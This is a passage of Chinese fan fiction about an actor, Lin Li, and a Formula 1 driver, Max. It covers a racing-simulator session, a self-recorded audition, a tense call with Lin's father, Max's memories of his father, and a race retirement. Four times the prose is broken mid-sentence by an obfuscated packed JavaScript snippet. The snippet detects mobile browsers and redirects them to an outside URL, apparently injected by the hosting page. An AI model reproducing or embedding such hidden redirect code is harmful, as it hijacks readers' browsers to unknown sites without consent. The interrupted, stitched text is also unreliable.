麦克斯利落地调好锁扣，退回到操作台前轻轻扣了两下换挡拨片。他眉头微微蹙起，收起刚才的玩笑劲，换上认真的严肃表情，“这台机子反馈力量很大，虽然我调低了输出功率，但只要你进了弯道，应该还是会有点被压着的感觉，你得靠背部的力量顶住座椅，别被带着走。” 林利握住眼前布满了复杂按键的方向盘，手心隐隐发热，他很少接触到这种完全专业的机械环境，迟疑着问道：“我连驾照都还没考下来，麦克斯。你确定我玩这个很安全吗？” “放心，撞车了顶多也就是手酸一阵子，可不像真的赛道。”麦克斯轻笑一声调侃，还是再次细致地检查了一下设备。 屏幕上，斯帕赛道的五盏红灯亮起，随后熄灭。林利眼前的世界猛地晃动起来。 根本不是转播里看着的那种平稳速度，林利感觉自己被猛地扔进一个巨大的搅拌机，一时间甚至找不到身体的重心。当虚拟赛车以两百多公里的时速冲向斯帕赛道著名的坡道弯时，方向盘更加夸张地像有了自己的意识，疯狂地在林利手里挣脱、扭动。 “踩住！别在这个时候收油！”麦克斯在旁边喊道。 林利死死咬着牙，脚背猛地绷紧，却只能做出几个有些笨拙的反应。在赛车冲上坡顶的一瞬间，视角的剧烈起伏让他的大脑产生了一瞬坠落的错觉，几乎要叫出声来。 “太糟糕了……”林利痛苦地骂了一句。最终，在赛车滑出路肩、重重撞上护墙带来的剧烈反馈中，他狼狈地松开了手。 麦克斯关掉了程序。他绕到座舱侧面，看着林利脸色苍白、大口喘气的样子，忍不住咧开嘴笑了。 “哇哦，你刚才那副表情我可从来没见过。”他伸手扣住林利的肩膀，稍微用力把他从椅子里拉了出来。 林利的脚落在地面时还带着点软，晕乎乎的感觉让他暂时抽不出空反击麦克斯的嘲笑。 “怎么样？是不是很刺激？”麦克斯转过身来看他，冰蓝色的眼神里带着点显而易见的期待。 “我觉得我刚才在几分钟里老了十岁。”林利揉了揉发酸的后颈，顺势推了对方一把，打断他那张洋洋得意的笑脸。 手机突然剧烈震动起来。 林利看了一眼屏幕，是斯科特。 他心里莫名地沉了一下，对麦克斯做了个噤声的手势，快步走到落地窗边。 “林，你那边方便说话吗？”斯科特的声音听起来疲惫得要命。 “出什么事了？” “有个坏消息，你得撑住。”斯科特深吸了一口气，语速加快，“制片方刚才联系我了，《猫王》无限期停工。华纳的律师正在处理保险的事，简单来说，这半年，甚至这一年，你都不用想再回到那个片场了。” 林利握着手机的手忽然一阵发麻。为了宾德这个角色，他夜以继日地钻研了数月，每一句台词都在口中过了数百遍。虽然停工后已经预感情况不太妙，但项目受到的重创程度还是超出了他的想象。 “听着，林，情况还没那么糟。”斯科特的声音突然放低，“你还记得去年底那次试镜吗？斯皮尔伯格筹备了快十年的那个《空战群英》。” 林利脑子里飞快转了一下。那个关于战争的剧集项目，他当时为了拍《猫王》而推掉了后续接触。当时看来，尽管《空战群英》也是一部大制作，但漫长的制作周期和复杂的选角变数，远不如《猫王》能让他更稳地在银幕上扎下根来。 “Apple TV刚刚确认全盘接手了这个项目，预算加到三个亿。这样的大手笔在这个时期可不多见。导演换成了凯瑞·福永，他现在要把之前的名单全推了重新选，急着定下男一号的人选。林，这是你失而复得的机会，必须要抓住。” “你是说，那个我当时因为档期没能继续的项目？”林利轻声问，一种荒谬感涌上心头。命运兜转了一圈，两个项目的位置竟然发生了诡异的倒错。 “对，就是那个。”斯科特继续说道，“我打听到，福永现在看之前的录像带快看吐了，他说那些演员都在演超级英雄，疯狂对着镜头展示自己的下颚线，他一个都不要。” 他急切地强调：“福永要开启新一轮试镜，他等不及了。第一轮用自录视频的方式，而且只给二十四小时。林，你要明白，一旦《猫王》停摆的消息传开，你这一年的职业走势会变得非常被动，争取《空战群英》的重要性就不用我再多说了。” 挂断电话后，林利在阳台边站了很久。风从海面上吹过来，带着一点微咸的凉意。他回头看了一眼麦克斯，麦克斯正低头坐 在模拟器旁摆弄着手机，那副坦然的样子，感觉世界末日了他也能在他的模拟器上一路开下去。 这种落差感让林利觉得胸口有些闷。 “发生什么了？你的脸色不太好。”麦克斯走过来，从背后轻轻抱住林利，下巴搁在他的肩窝上。 “电影彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159561|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底停工了。”林利侧过脸，自嘲地笑了笑，“还不知道多久才能重启，简直是一团乱。除了这个之外，我还得在明天晚上之前录一段试镜带，去争取一个飞行员的角色。” “飞行员？”麦克斯挑了挑眉，“听起来跨度很大。” “而且这还是一个哪怕飞机着火了都能冷静处理的人。”林利按了按眉心，努力压制心里的烦躁。 “听起来就不普通。”麦克斯察觉到林利身体的僵硬。他松开怀抱，绕到林利右手边低头看着他，“你刚才提到了斯皮尔伯格？Apple TV?” “是的，这个项目筹备了快十年。”林利靠在阳台栏杆上，望向远处深蓝的海面，“我去年推掉过它的后续选拔，为了去昆士兰拍《猫王》。斯科特现在快疯了，他觉得这是老天爷扔给我的最后一次机会。” 麦克斯听着，若有所思地双手抱臂：“有什么我能做的吗？” 林利被麦克斯苦恼的样子惹得牵了牵嘴角，很快又平复下去：“我也不知道。上午我还在为宾德的戏份深思熟虑，这会又突然告诉我这一切都断了，要我马上切换到一个完全陌生的飞行员身上……” 他垂下眼睫，视线落在虚空处：“我想想，二十四个小时，我要先分析这个角色最大的特质……克莱文少言寡语、情感内敛，他不是那种会对着镜头演讲的英雄符号。斯科特说，福永现在最烦的就是千篇一律‘我很有型’的演绎。他一定是稳重的，而且不得不冷静，在万米高空上可不能随便开玩笑。” 林利抿了抿唇，声音有些紧绷：“冷静，冷静。我得在视频里尽可能放大这一点。” 麦克斯并没有立刻安慰他，转身走到客厅倒了杯冰水递过来，突然开口：“你刚才在过弯的时候，是不是闭眼了？” 林利愣了一下，抬起头：“什么？” “就在模拟器上。当你冲上坡顶的那一秒，你闭眼了。”麦克斯指了指座舱的方向，“你说那个飞行员需要冷静。林，在飞机上，冷静不是一种表情。如果你乱了，飞机降不下来，那就死定了。但你刚才只是觉得那是个游戏，所以你允许自己闭眼逃避。” 林利看着麦克斯，喉咙动了动。麦克斯的世界里，任何一点情绪的干扰都可能意味着事故。而在林利的世界里，他太习惯用情绪去填充表演。 他握紧手中的玻璃杯，眼前隐约浮现出剧本里描述的那个在高空缺氧环境下的克莱文。 “现在这里没有灯光，没有化妆师，我连一身像样的飞行夹克都弄不到。”林利看了一眼身上宽松的衣服，目光在房间里四处环视一圈，最终在模拟器的机械支架上停住。 或许，他需要再试一试，找回刚才那种生理上的压力。这次，他要强迫自己不去闭眼逃避，而是睁着眼看下去。 他指向那台模拟器，视线逐渐聚焦：“麦克斯，我可以再来一次吗？” 16. 自录试镜带 客厅里，原本整洁的陈设被林利搬来搬去搞得有些凌乱。他挪走了挡镜头的茶几，把餐椅搬到背对白墙的位置。为了让背景看起来更干净，他甚至动手拆掉了墙上的一幅艺术画。 “喔，那是我妈妈找人定做的，你要是再拆下去，这房子看起来就像刚被洗劫过。”麦克斯手里抓着一块健达靠在岛台边，嘴里含混不清地嘟囔着，一脸新奇地看着林利忙活。 “帮个忙，麦克斯。把那边的落地灯搬过来，去掉灯罩。”林利半跪在地上安装摄像机支架，反复调节摄像头的倾斜度，“光线得再硬一点。” 麦克斯拎起角落的黄铜灯走过来，还多此一举地打开手机手电筒在林利脸庞晃了晃：“这样够不够？还用我再调亮点吗？” “不需要，麦克斯，你只要别让它倒了就行。”林利换上一件深卡其色的工装衬衫。这衣服是他在一家古着店淘来的，布料有些硬，领口磨得发白。他用力把额前的卷发往后捋，喷了点水压住，露出光洁立体的额头。 他看了一眼麦克斯手里几页捏皱的剧本：“准备好了吗？副驾驶比尔，你只用读好台词就行，专心一点，别笑场。” 麦克斯撇了撇嘴，跨坐在高脚凳上，随口顺了几句台词，“这有什么难的，我还能给你变出好几种口气。” 林利无奈地看了一眼麦克斯，摇摇头：“开始吧。”他按下录制键，深吸一口气，回到镜头前。 第一遍。 林利视线平齐，双手虚虚地平举，模拟开飞机的操纵感。 “巴克……”麦克斯开口了。他大概是想体现惊恐，于是故意捏着嗓子，发出的声音又细又尖，“哦！三号引擎！它炸了！我们要掉下去了，巴克，救命！” 林利没有偏头，眼神定定地盯着镜头斜上方的一个虚点，声音洪亮：“比尔，看着我。稳住操纵感，还没到放弃的时候。我们会熬过去的，保持平稳。” “停。”林利走过去看回放。 “怎么样？我刚才喊得是不是很专业？”麦克斯凑过来，一脸期待。 “……也许有点夸张了，麦克斯。”林利有些痛苦地捂住脸，“你的声音像被踩了一脚。还有我……”他指了指屏幕里下巴紧绷的自己，“我看起来像在拍杂志广告，这太油腻了。福永看到这个会直接把我拉黑。” 麦克斯难得地没反驳：“我也觉得怪怪的，都快掉下去的人怎么还有心思把下巴抬得那么高？你是在等谁给你颁奖吗？” 林利有些恼羞地瞥了他一眼：“先管好你自己吧。” 第二遍。 “再来一次。”林利收了收肩，重新坐正，“麦克斯，这次你的语气稍微正常点，我也再改改。别演惊恐，就演你正在经历一场糟糕的事故。” “巴克，三号引擎停了！我们在掉高度。”麦克斯这次读得顺畅了些。 林利侧过脸，眼神闪过一丝悲壮。他极力安抚着说：“比尔，看着我！” “我们会熬过去的，飞你的飞机。” “咔。”林利又停了。他有些颓然地靠向椅背，盯着眼前的灯光，“还是不对劲。我怎么好像在演感人的告别戏，太煽情了。” “甚至有点像葬礼。”麦克斯又凑上来补充。 “克莱文是机长，他后舱坐着那么多人。”林利有些不服气，“这种压力下，他不可能只是个没感情的机器。” “命悬一线的时候，谁有空想责任这种东西？”麦克斯跳下脚凳，走到林利跟前，“如果我比赛的时候遇到这种生死攸关的时候，我脑子里唯一的念头就是把车救回来，怎么活下去。我总不可能是在想‘我要对得起台上的观众和维修区的兄弟’吧？那只会让我撞得更快。” “所以你的意思是，我表现得太伟大了，反而不像个开飞机的？”林利抬头看他。 “对，你就当那是一份工作。你很累，甚至想骂街，但你得盯着仪表盘。你的冷静是因为你得干活，得救命，而不是想当个英雄。”麦克斯鼓了鼓嘴，又塞了一块健达。 林利陷入深思，他似乎又陷入“英雄主义”的叙事怪象，也怪不得福永否决了那么多录像带。他只是需要冷静，那是他性格与生俱来的，而不是像个赴死的圣人。 “来，再试一次。麦克斯，这次你可以自由发挥一点。”林利笑了起来。 第三遍。 客厅里的灯光被关掉一大半，只剩下孤零零的一盏铜灯，在白墙前投下深邃的阴影。 林利坐在椅子上，这次没有刻意挺直背部，而是微微佝偻，带着一种长时间高空缺氧带来的疲惫。他的鬓角被汗水打湿，工装衬衫也不再整齐。他闭上眼，在心里默念：我只是一个飞行员，我必须把它开回去。 椅子突然晃了一下。林利吓了一跳，睁开眼看去，麦克斯在摄像机背面示意他别管，继续补了一脚。 林利本能地抓住虚拟的操纵杆，缓缓转过头：“比尔，看着我。” “看着我。”他重复道。 麦克斯在一旁喊：“我们要掉进海里了！巴克！引擎全完了！” 林利垂下眼睫，他的余光像是穿透了客厅的虚空，看到舱外那架并行的飞机化作碎片。他的心中闪过一层悲恸，很快又被强压下去。现在不是哭的时候，还没降落。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159562|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我知道。” 他重新握住操纵杆，手臂微微颤抖：“我们今天不会死，飞你的飞机。” “咔。”林利起身，脱力地吐出一口气，和麦克斯一起看着回放。 “林……”麦克斯看着他，语气里带了一丝敬畏，“我真的有点被你镇住了，这才经过几次拍摄，你就能表现得完全像另一个人。” 麦克斯抓了抓头发：“我突然想起之前的蜘蛛疯子了。哇，林，你是个天才。” 林利卸下摄像机，胸腔里那股紧绷的劲终于散去。他和麦克斯一起并排坐在地毯上，随手关掉那盏刺眼的灯，客厅重新回到温热的蓝调里。 “这就是我要找的感觉。”林利喃喃自语，他感觉自己的心脏还在狂跳。 “不过，林，如果你以后真的要去拍这种戏，得在噪声中再大点声说话”，麦克斯歪过头，认真地建议，“刚才那句‘飞你的飞机’我都差点没听清。飞行员的耳朵应该都不太好吧，早就被炸得听不清了。” 林利笑出了声，心里的阴霾散了一些。他拿过相机传好视频，点开手机上那个投递地址。手指在蓝色的发送键上停了片刻。 “在等什么？”麦克斯问，侧脸被手机的微光勾勒得棱角分明。他伸过手，安抚着摸向林利的肩膀。 林利看着进度条，声音有些轻：“我在想，这一按下去，代表什么？从昆士兰赶回来，现在又要去撞伦敦的门。这一年的计划全乱了，根本不知道要去哪。万一这次也像《猫王》一样，折腾半天最后什么都没落下……” “那就再试一次。”麦克斯打断他的话，直接按在林利的拇指上，用力点下确认，“这种时候，没人知道下一站去哪，我也不知道比赛什么时候会恢复。但我们总要继续向前，不试试怎么知道？” “叮——” 发送成功的提示音清脆响起。 林利松了一口气，往后一仰躺在地毯上。麦克斯也跟着躺了下来，两人并排看着天花板。 “林，要是你真被看中了……”麦克斯盯着吊灯，声音闷闷的，“你进组的时候，比赛估计也恢复了。我们又要多久见一次面呢？”他握住林利的手，用力确认了几下，“我可能真的会去学开飞机。这样至少在梦里，我还能在空中给你当个搭档，省得你一个人在那乱飞。” 林利侧过头，看着眼前闷闷不乐的脸。他意识到，他们都在这场停工中变得无比贪婪。他们在最糟糕的时代里，享受着最珍贵的、原本这辈子都没机会拥有的长假。 他伸出小指，紧紧勾住麦克斯：“还没定呢，麦克斯。而且……重回正轨不是我们一直等着的事吗？” 17. 赛道尽头 六月初，摩纳哥。 林利被厨房里锅碗瓢盆的碰撞声吵醒。他迷迷糊糊地睁开眼，卧室门半掩着，飘进来一股焦糊味。 “该死——”麦克斯压低声音咒骂。 林利套上T恤走出去，看到麦克斯正手忙脚乱地用锅铲对付一团黑漆漆的东西。烟雾报警器在天花板上闪着红光，随时要叫起来。 “你在干什么？”林利赶紧打开窗户。 “想给你做早餐。”麦克斯有些尴尬地挠了挠头，金色的乱发在晨光里炸成一团，“结果忘了调火力……” 林利忍不住笑了，接过锅铲：“算了，我来吧。你先收拾收拾这一团乱。” 麦克斯擦了擦手，拿起手机。几秒钟后，他的脸色变得严肃：“确认了，七月初奥地利开赛。不出意外的话连续两周背靠背。” 林利手里的动作顿了顿，鸡蛋在平底锅里滋滋作响。 “看来我们的假期要结束了。”他低声说，把煎锅推到一边。 麦克斯走过来，从背后环住他的腰，下巴搁在他的肩膀上：“GP刚发消息，让我下周就去工厂。” 两人都没再说话。Spyke在脚边转悠，察觉到气氛不对，呜咽了一声，用鼻子拱了拱林利的小腿。 “嗡——” 林利的手机在桌上震动。屏幕上【Father】几个字母跳动着，亮得刺眼。 他的指甲抠进掌心，深吸一口气接起电话。 “早上好，爸爸。” “林。”阿利斯泰的声音从听筒里传来，“还在摩纳哥？” 林利下意识握紧了手机：“是的，还在朋友这边。” “我真不明白你为什么非要待在那里。”阿利斯泰的语气里带着一丝不满，“伦敦的房子空着，你却跑去摩纳哥借住。那边除了赌场和游艇还有什么？你那个朋友是做什么的？” “他……他在欧洲工作。”林利含糊地回答，视线不自觉地飘向麦克斯。 “在欧洲工作的人多了。”阿利斯泰哼了一声，“算了，只要你注意安全就好。这段时间确实只能待在家里，待在哪里都一样。” 他停顿了一下，语气恢复了平静：“不过倒也不是完全无事可做。我这几天一直在线上开会，还能处理一些工作。对了，你最近是不是投了Apple那个空战项目的试镜？”他的语气变得随意起来。 林利的心提了起来：“是的。” “凯瑞·福永的项目。我听说过这个导演，很有想法，也很固执。”阿利斯泰停顿了一下，林利能听见他轻啜茶水的声音，“刚好，Apple的内容总监厄利希特前两天给我发了邮件，说想聊聊欧洲市场的布局。这次停工让很多计划都搁置了，他想听听我的意见。” 林利咬紧后槽牙，腮帮都隐隐作痛。 “我们约了这周的视频会议。”阿利斯泰的声音里带着一丝笑意，“如果聊起Apple最近的项目，我想我可以提一提你。你知道的，这个圈子说大不大，大家都喜欢交流各自领域的新动向。” “爸爸，我不需要……” “你不需要什么？”阿利斯泰打断他，语气依然温和，甚至带着点困惑，“我只是说，如果话题恰好聊到这里，我会提一提我儿子最近在准备这类角色。这有什么问题吗？难道你希望我在别人问起时，假装不认识你？” 林利感到一阵无力。他总是这样，貌似得体地规划别人的人生。 “我知道你想靠自己证明什么。不用担心，你在《1917》表现不错。”阿利斯泰的声音带着一丝包容，“但你要明白，林利，这个世界上没有绝对的靠自己。每个人都在关系网里生活，区别只是你愿不愿意承认而已。” “你投了试镜，这当然是你的努力。但如果有人因为听说过福斯特这个姓氏而多给你一次关注，这难道不也是你的资源？” “可我想知道，如果没有这些，我到底能不能做到。”林利的声音微微发抖。 “那你永远不会知道答案。”阿利斯泰叹了口气，有几分说教地说，“因为你无法剥离你是谁。就像你无法剥离你的脸、你的声音。姓氏、家庭、教育，这些都塑造了你。” 电话那头传来杯子放下的清脆声响。“我不会强迫你接受我的建议。但这周的会议我还是会参加，该说的话我也会说。这是我的方式，至于最终结果如何，那要看你自己的表现。” 他停顿了一下：“你只需要专注于你的表演就好。其他的事，交给时间。” “还有，林利。”他在挂断前补充道，“无论你愿不愿意承认，当你站在公众面前，代表的不只是自己。你是家族的一员。这既是你的骄傲，也是你的责任。” 电话挂断了。 林利握着手机，心脏被沉沉地捏着。 麦克斯靠了过来：“你父亲？” “他说这周要和Apple的人开视频会议。”林利的声音虚虚的，像是从很远的地方传来，“他说如果聊起这个项目，会提一提我。” 麦克斯把他拉到沙发边坐下。 林利感觉到自己的身体很僵硬，“永远都是这样。无论我想要做什么，他几句话，一切都会自然而然朝他想要的方向发展。” 麦克斯的手掌覆在他紧握的拳头上，温热的触感一点点渗透进来。 “而且他说得对。”林利的声音闷闷的，手指揪住麦克斯的衣服，“我永远不可能知道，如果只有我，我还能走到今天吗？” 麦克斯的手指在他手背上轻轻摩挲，一下又一下安抚着。 “我妈妈更糟。”林利抬起头，眼睛红红的，“她完全活在他的阴影里。有一次我在片场工作了三十六小时，累得差点晕倒，我给她打电话。” 他苦笑：“她问我吃饭了吗。我说没来得及。然后她就说，那不行，林，你得吃点东西。你爸爸上次连续开会也是忘了吃饭，后来胃疼了好几天。你要学学他，他现在每天都很注意。” 林利的声音越来越小：“有时候我说我很累，想睡一觉。你猜她回答什么？她说你爸爸工作也很累，但他从来不抱怨。你要向他学习，成功的人都懂得管理自己的身体。” “每句话都在关心我，每句话最后都会绕到他身上。她从来没想过，我可能不想成为他。”他转过头看向麦克斯，睫毛湿成一簇一簇。 麦克斯沉默了很久。窗外的海鸟叫声飘进来，又被风吹散。 “我五岁开始开卡丁车。”他突然开口，“那时候真的很喜欢。我喜欢超过别人。” 林利定定地看着他。 麦克斯松开手，走到窗边：“乔斯看到了我的天赋，决定要把它最大化。他不是不爱我，只是更爱能成为冠军的我。” “如果我赢了，他会分析我哪里还能做得更好。如果我输了……”麦克斯停顿了一下，努力咽了咽，“我那时候才多大，有一次比赛最后一圈被人超了。比赛结束后，他一句话没说就转身就走了。” 林利的心揪紧了。 “我追上去拉住他的衣角，一直在道歉。”麦克斯的指尖在窗框上一下下敲击，“我到现在都记得，他甩开我的时候说‘冠军不需要道歉，输的人才需要。’” “然后他真的把车开走了。”麦克斯闭上眼睛，“外面下着雨，温度很低。周围那些小孩的父母都在收拾东西，他们看我的眼神……我就站得直直的，假装在等人来接我。” “我脑子里一直想，我是不是再也做不好了？他是不是不要我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159563|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了？” 林利的鼻腔一阵发酸，他第一次听麦克斯提起这些。 “后来我走到加油站，用公用电话打给我妈妈。”麦克斯睁开眼，“她握着方向盘的手一直在抖，说我爸爸只是太生气了。” “回到家的时候，他在客厅看电视。”麦克斯抬起头，眼神里没有任何波澜，“他看了我一眼，说‘下次不要输了’，就这样。” “这是惩罚吗？”麦克斯的声音很平静，“这是他的教育方式。他也为我付出了很多。” “可你那时候还那么小。”林利轻声说。 “对，我才八岁。”麦克斯侧过脸看着他，眼睛里闪过一丝沉沉的光，“也许那时候的我不想听到下次该怎么做、冠军该怎么做。只是一句‘你已经做得很好了’，就够了。” 他走回来，在林利对面坐下。沙发垫微微下陷，他们的膝盖碰在一起。 “长大以后，采访时他们总问我，恨不恨乔斯。”麦克斯盯着自己的手，“我每次都不置可否，说那让我变得更强大。” “媒体喜欢这种故事。”麦克斯嘴角的弧度有些扭曲，“严父培养冠军，痛苦造就伟大，所有这些。我也习惯了这么说。” “但事实是……”麦克斯的手掌摊开又握紧，“我花了很多年才学会犯错之后不会本能地想逃跑。不会在有人对我大声说话时，整个人就绷紧。不会在比赛出问题的第一时间想乔斯会怎么看我。” 林利紧紧地握住麦克斯，与他十指相扣。 “我在试着学习。”麦克斯坚定地说，“失败不代表不值得被爱。我可以犯错，可以不完美，可以有情绪。我可以在累的时候说累，可以在难过的时候难过。我可以不是冠军的时候也还是我自己。” 他看着林利，眼神清澈：“乔斯给了我成为F1车手需要的一切技能。但他没有教会我怎么在赛道之外做一个普通人。”麦克斯的声音变得柔和，“这些是我要自己学的。” 两人就这样站着，谁也没再说话。窗外的天空渐渐亮了起来，晨光穿透薄雾，在海面洒下一片跳跃的金色。 很久之后，林利轻声问：“你觉得……我们会变成他们那样吗？” “不会。”麦克斯回答得很快，又犹豫了一下，“至少我们会努力不变成那样。” 他用另一只手覆盖上去，把林利的手完全包裹在掌心：“所以我们要一直记得现在的感觉。” 林利点点头，两人的灵魂轻轻触碰。记住此刻，他们不需要成为父母期待的样子，不需要成为媒体塑造的形象，他们只是自己。 Spyke趴在脚边，发出满足的哼哼声。它把下巴搁在前爪上，眯起眼睛。 …… 午后，林利躺在沙发上翻看剧本。他随手点开手机，新的邮件提示弹了出来。 他快速浏览，心跳越来越快，然后突然笑了起来。 “他们让我准备准备去伦敦参加最终试镜！”林利抬起头看向麦克斯，眼睛亮亮地像是点燃了两簇火焰。 “我做到了，麦克斯，我做到了！”林利举起手机，手臂都在颤抖，“这是我的努力，对吗？他还没来得及说！” 麦克斯蹲下来，双手撑在林利膝盖两侧。他的眼睛里倒映着林利因为激动而泛红的脸。“是你自己做到的，完完全全是你自己。” 林利点点头，抬起手背胡乱擦了把脸，“不管最后结果怎么样，至少这一次，我证明了自己不是吗？” “当然了。”麦克斯认真地看着他，“而且你知道最好的部分是什么吗？你会越来越厉害，直到谁也不能够说什么。” “你相信我？”林利眼睛弯成月牙。 “我相信你，我最相信。”麦克斯吻了吻他的额头。 18. 失控 九月，托斯卡纳大奖赛。 暖胎圈，麦克斯盯着仪表盘。红色警告灯没完没了，跳得他眼睛发疼。RB16在赛道上挣扎着前行，引擎发出断断续续的怪异声响。 该死。 他按下TR，努力让声音听起来平静，“引擎在暖胎圈就失速了。” GP的声音从耳机里传来：“收到。应该是电气问题，回到发车位看看会不会好。” “应该”。麦克斯用力握紧方向盘，又是“应该”，上周在蒙扎也是这样。 赛车滑进P3的发车位。机械师们很快涌了上来，检查线路、重置系统。麦克斯透过头盔看着他们紧张的脸，谁也没吭声。 五盏红灯依次亮起，引擎在他身后轰鸣，这次听起来正常了。麦克斯深吸一口气，胸膛阵阵发跳。求你了，他在心里默念。 灯灭了。 麦克斯反应迅速，赛车像子弹一样冲了出去。他从外线切入，看到博塔斯的尾翼在前方，汉密尔顿在后视镜里越来越远。 他超过汉密尔顿了。 引擎突然安静了。麦克斯大力踩下踏板，没用，还是没用。RB16一直在减速。 “没动力了！”麦克斯喊进TR，“我失去动力了！” 不，不不不不。 汉密尔顿从旁边超回去，然后是勒克莱尔、里卡多……麦克斯眼睁睁看着自己从第二名掉到第十名，手止不住地抖。 一号弯的时候他已经被中游集团淹没了。周围全是赛车，每个人都挤在一起找空间，钻位置。 进入二号弯，麦克斯试图在一片混乱中守住自己的线。左边是格罗斯让，右边是加斯利，他得想办法避免掉得更远。 “砰！” 冲击力狠狠从后方传来，麦克斯被带得脖子猛地向前甩，安全带勒得他喘不过气。后面是谁？莱科宁吗？ 麦克斯反打方向，但赛车不听他的了。它一路冲进砾石区，碎石噼里啪啦地砸在底盘上。 车身颠簸得麦克斯头晕眼花，整个世界都在旋转。 他听到赛道上呼啸而过的声音，胸口止不住地剧烈起伏。 又一次。 F**king again! “这就是我得到的，”他对着TR说，大脑还没有从撞击中清醒过来，“一场该死的shitshow。” 他的手在发抖，解了两次才打开安全带，踉踉跄跄地从驾驶舱里爬出来。 救援车从远方开过来。麦克斯摘下头盔，汗水顺着脸颊滑落，蜇得他眯起眼睛。他看向赛道尽头，其他赛车还在战斗。 而他又一次站在这里。 …… 采访区挤满了记者。 麦克斯走进去的时候，所有人的话筒都挤了过来。他还穿着赛车服，拉链只拉到一半，心脏不安分地跳着。 冷静。麦克斯逼着自己长吁一口气。 “能告诉我们发生什么了吗？” 麦克斯盯着眼前递来的话筒，黑色的海绵头上印着Sky Sports的标志。 “引擎问题。”他听到自己说，声音压不住地愤怒，“跟蒙扎一样，暖胎圈的时候就出现问题了。” “那起步？” “起步很好。”麦克斯打断他，用力抿了抿嘴，“我超过了汉密尔顿，接着引擎就坏了。没有动力，什么都没有。” 他的下巴绷紧，脑子里不受控制地重放那个画面。 “所以和莱科宁的碰撞……” “不重要。”麦克斯的声音有些冷硬，“撞不撞都一样。引擎已经完了，我们根本不应该处在那个位置。” “你很失望吗？” 失望？麦克斯抬头看向对方，失望这个词完全不足以表达他的感受。 “我现在非常不高兴。”他一字一句地强调，“但我改变不了什么。” …… 更衣室里很安静。 麦克斯坐在长凳上，手肘撑住膝盖，盯着地板。 墙上的钟表在走，嘀嗒，嘀嗒。 他闭上眼睛，感受着自己的心跳慢慢平复下来。怒火掠过后留给他的只有疲惫。 工作人员敲了敲门：“麦克斯？会议十分钟后开始。” “知道了。”他站起来，机械般地回到移动指挥中心。 “电气系统故障。”瓦谢指着屏幕，“暖胎圈的时候传感器就报错了。起步后动力单元完全失去输出。” 麦克斯盯着上面的红色曲线：“跟之前一样的问题吗？” “类似，本田正在进一步分析数据。” 马尔科靠在门框上：“两周内两次同样的问题，这不正常。” 麦克斯扯了扯嘴角，手指在扶手上不耐烦地敲。 “本田说他们会找到原因的。”霍纳说。 听听他们说的，会找到、会解决。 麦克斯懒得从红线上移开视线，他不知道该给出什么回应，鼓着掌期待美好的下一次吗？ “上周也是这么说的。”马尔科拧了把鼻子走了进来，“结果呢？又是一次退赛。麦克斯现在落后汉密尔顿80分。” “赫尔穆特，现在不是算分的时候。”霍纳的声音紧绷，用力拍了拍桌子。 “那什么时候才是时候？我们已经浪费了大半个赛季！” 麦克斯坐在一旁，听着他们的声音在头顶飞来飞去。赛车不行，引擎不稳定，预算分配……每个词他都听过几百遍了。 “我们需要做出决定，”马尔科竖起食指，“是继续研发RB16，还是把资源投到明年？” “这个赛季还有一半！”霍纳猛地站了起来，“我们不能就这么放弃今年。” “放弃？”马尔科嗤笑，“我以为我们放弃的是冠军？” “我们可以争取第二名！” “第二名没有意义！”马尔科一掌拍在桌上。 麦克斯烦躁地捋了把头发，怀疑自己坐在这里到底为了什么。 “那按你的意思，让麦克斯开着一辆不再升级的赛车跑完剩下的比赛？” “至少我们能把资源用在对的地方！” 胸口有什么东西在碰撞，越来越紧。麦克斯无法忍受，直接站了起来，椅子腿在地板上划出刺耳的声音。 所有人都转过头。 他环视了一圈：“你们决定。但我会开完每一场比赛，不管赛车怎么样。” 他转身走向门口。 “麦克斯！”霍纳叫他。 麦克斯用力推开门，头也不回地扎了出去。 他边走边戴上口罩，另一只手滑开手机。 林利发了三条消息。 【L：你还好吗？】 【L：比赛结束了，给我回个消息？】 【L：我有点担心你。】 麦克斯手指反复滑动屏幕，点开文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159564|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 